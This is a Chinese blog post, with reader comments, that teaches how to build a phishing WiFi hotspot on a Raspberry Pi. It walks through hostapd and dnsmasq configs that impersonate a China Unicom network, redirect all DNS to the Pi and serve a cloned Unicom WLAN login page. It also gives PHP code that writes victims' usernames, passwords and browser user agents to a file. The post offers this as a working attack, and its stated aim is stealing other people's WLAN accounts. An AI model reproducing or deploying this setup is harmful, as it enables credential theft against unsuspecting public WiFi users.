使用树莓派搭建钓鱼WiFi热点




前段时间有一则新闻说使用一台普通电脑搭建的wifi热点就可以窃取使用者的网银和支付宝等密码。但是稍微有点常识的人都会知道:支付相关的网站和部分网站的登陆页面都使用了https连接,所以破解这种加密就不要指望了。不过我们可以换一下思路,比如伪造一个联通WLAN的登陆页面,然后窃取使用者的WLAN号码和密码。

环境配置

需要用到的硬件:

  • 树莓派一台
  • USB无线网卡一个

需要用到的软件

  • apache2
  • php5
  • hostapd
  • dnsmasq

首先安装上述的软件

sudo apt-get install apache2 php5 hostapd dnsmasq

如果你觉得Apache对于Pi来说负担太重的话,可以换成nginx,具体操作请看这里

对于hostapd,如果你的网卡不在支持范围内,你可能需要首先安装驱动或自己编译安装hostapd
查看usb设备列表

lsusb
%e5%9b%be%e5%83%8f-067

可以看出我使用的网卡芯片是RTL8188CUS。但是官方提供的程序不兼容RTL8188CUS芯片的无线网卡,不过Edimax团队为我们专门编译了兼容的版本,下面的操作需要替换hostapd为兼容版本。

替换的命令如下:

wget http://www.daveconroy.com/wp3/wp-content/uploads/2013/07/hostapd.zip
unzip hostapd.zip
sudo mv /usr/sbin/hostapd /usr/sbin/hostapd.bak
sudo mv hostapd /usr/sbin/hostapd.edimax
sudo ln -sf /usr/sbin/hostapd.edimax /usr/sbin/hostapd
sudo chown root.root /usr/sbin/hostapd
sudo chmod 755 /usr/sbin/hostapd

编辑配置文件

  • Hostapd
sudo nano /etc/hostapd/hostapd.conf
interface=wlan0--设置网卡
driver=rtl871xdrv--设置驱动
bridge=br0--忘了什么意思了==
ssid=ChinaUnicom
channel=11--信道设置
wmm_enabled=0--禁用802.11n
auth_algs=1--设置为开放无线网络
  •  dnsmasq,实现DHCP服务器并将终端发来的所有http请求重定向到rpi本地的服务器上
sudo nano /etc/dnsmasq.conf
interface=wlan0--设置网卡
bind-interfaces--设置为只使用上面设置的网卡
dhcp-range=192.168.188.2,192.168.188.254,12h--设置DHCP服务器的ip地址范围及租期
dhcp-option=1,255.255.255.0
dhcp-option=3,192.168.188.1
dhcp-option=6,192.168.188.1
address=/#/192.168.188.1 --将所有的域名解析到192.168.188.1(也就是RPi的ip上)测试WLAN热点

测试WLAN热点

sudo ifconfig wlan0 192.168.188.1 netmask 255.255.255.0
sudo hostapd -B /etc/hostapd/hostapd.conf
sudo service dnsmasq start

这时应该可以搜索到一个名为China Unicom的WiFi,连接上后随便输入一个url,会显示如下的网页,也就是apache的默认页面:
qq%e5%9b%be%e7%89%8720140127215942

仿造登陆页面

WLAN热点到这里就建设完成了,然后我们需要仿造联通WLAN的登陆页面
这里是一个真的登陆页面http://119.6.17.129:8080/

我们需要把网站上面用到的css和js等脚本下载下来
我使用的是比较笨的办法,也就是在html源码中找到css和js的url,然后wget下载下来

然后就可以得到这么几个东西:

pi@raspberrypi ~ $ find /var/www/ -type f
/var/www/dwr/engine.js
/var/www/dwr/CopartnerList.js
/var/www/dwr/util.js
/var/www/index.html
/var/www/d.txt
/var/www/includes/web/js/jquery.min.js
/var/www/includes/web/js/jquery.orangeui.min.js
/var/www/includes/web/js/base.js
/var/www/includes/web/js/tinybox.js
/var/www/includes/web/css/layout.css
/var/www/includes/web/css/reset.css
/var/www/includes/web/css/add.css
/var/www/includes/web/css/base.css
/var/www/includes/web/images/btn.png
/var/www/includes/web/images/img_logon.png
/var/www/includes/web/images/guanggao1.png
/var/www/includes/javascript/common.js

接下来把首页的html代码粘贴保存下来,

找到这一行:

<form action="http://119.6.17.129:8080/login.do" method="post" name="loginForm" id="loginForm">

这一行定义了表单的提交方式及动作,改为:

<form action="http://119.6.17.129:8080/login.php" method="post" name="loginForm" id="loginForm">

将action改为服务器上的一个php文件,从html提交的表单将交由这个php文件来处理

然后找到这一行:

<input type=button value="登 录" onclick="return checkLoginInfo();"/>

这一行定义了按钮的动作,改为:

<input type="submit" value="登 录" />

然后新建一个login.php,写入:

<?php
error_reporting(E_ALL);
echo $_POST["username"];
echo "<br>";
echo $_POST["password"];$Handle=fopen('d.txt',"a"); //打开文件
fwrite($Handle,$_SERVER["HTTP_USER_AGENT"]); //写入终端浏览器UA
fwrite($Handle,"\n");//换行
fwrite($Handle,$_POST["username"]);//写入用户输入的用户名
fwrite($Handle,"\n");
fwrite($Handle,$_POST["password"]);//写入密码
fwrite($Handle,"\n");
fwrite($Handle,"==================");
fwrite($Handle,"\n");
fclose($Handle);//关闭文件
header("Location:http://192.168.188.1/index.html");//跳转至首页
exit;
?>

然后将网站目录放进/var/www/,打开浏览器测试

整体测试

正常情况下,你的浏览器UA,输入的用户名及密码将被记录到/var/www/d.txt中。
(如果没有的话,自己新建一个,然后将它chown 到www-data用户

sudo chown www-data:www-data /var/www/d.txt

完成

不过要注意的是

  1. 树莓派的电源问题一直是个老大难,如果你发现RPi的USB或有线网络不工作,或者PWR灯忽亮忽暗,首先检查是否使用了足够功率的电源(5v 1a都不一定够)
  2. 让别人接入你的无线网络对你来说也是很危险的事情,确保你更改了默认的账户密码,不然别人就可以畅通无阻地通过ssh连接并控制你的RPi,黑人不成反被人黑就神作了。

一些细节问题

  1. 用户在连接到你的AP的时候,地址栏里可能是一个网页的url而不仅仅是域名(如:www.xxx.com/xxx.html)这样的话,RPi上的apache就会返回一个404页面。
    解决方法是使用apache的.htaccess文件进行重写,将404页面定义为一个自定义页面。具体操作方法网上一搜一大堆,这里不再赘述。
  2. 今天测试了一下在将全套装置带出去的时候使用android手机进行ssh远程控制的情况。当我连上ssh(用的connectbot)之后试着编辑一个文件,结果发现nano编辑器竟然用!不!了!–因为android键盘上没有方向键,而且otg键盘罕见地不起作用…浴室我就只能苦逼地用对我来说熟练度几乎为0的vi…所以,如果你打算带着它出去作死,请确保安装了vnc,因为android上的ssh client体验不是一般的差。
  3. 还有就是RPi一直被人诟病的一点就是—-电源。虽然RPi标称的是输入5v 700ma,但是在我的测试过程中,在插入无线网卡的情况下,如果只使用5v 1a的电源,很可能出现usb接口和有线网口都不工作的情况。如果出现这样的情况,那么你可能需要一个更大的电源适配器或者有源hub。最后我采用了这样的方案:使用一个没有隔离的有源hub从usb接口对RPi反向供电(注意:这会使板上的所有保护电路失效,如果有条件,强烈不建议这样做!),同时将一个5v 1a的移动电源(实际输出可能不到)接在microusb 接口上。(因为我的hub质量很差,轻轻一碰可能就掉电了)
  4. 最推荐的供电方案是:使用5v 2a的电源接在microusb上为RPi供电,同时使用一个带隔离的有源hub对外接usb设备供电。



Posted

in

by

Comments

9 responses to “使用树莓派搭建钓鱼WiFi热点”

  1. 不跳OP大大 Avatar

    配置hostapd后,测试的时候用sudo hostapd -B /etc/hostapd/hostapd.conf
    ,总是会显示invalid/unknown driver ‘rtl871xdrv 。我不知道这个driver是怎么来的,请博主解答一下下。

  2.  Avatar
    Anonymous

    楼主,请问为啥我在测试WiFi的时候,输入了

    sudo ifconfig wlan0 192.168.137.132 netmask 255.255.255.0就没反应了,还有你上面的dnsmasq文件中的dhcp-option那些ip是什么意思呢

  3. 789456123 Avatar
    789456123

    [email protected]代码发一下呗

  4. minos Avatar
    minos

    您这个是用的3G上网卡吗?

    1. Frank Avatar

      不是,只是普通的无线网卡。如果想要实现更丰富的功能(比如装模做样地让用户输入用户名密码之后才可以成功连上外网),可以加装一个3G网卡,然后和承载无线AP的网卡桥接就可以了。

      1. 擦擦擦 Avatar
        擦擦擦

        QQQQQQQQ发我邮箱来 1958447 [email protected]

  5. minos Avatar
    minos

    楼主.我又过来了. = =

  6. minos Avatar

    楼主楼主。文章很棒。可否加你个好友。求发邮件。

发表回复/Leave a Reply

您的电子邮箱地址不会被公开。/Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.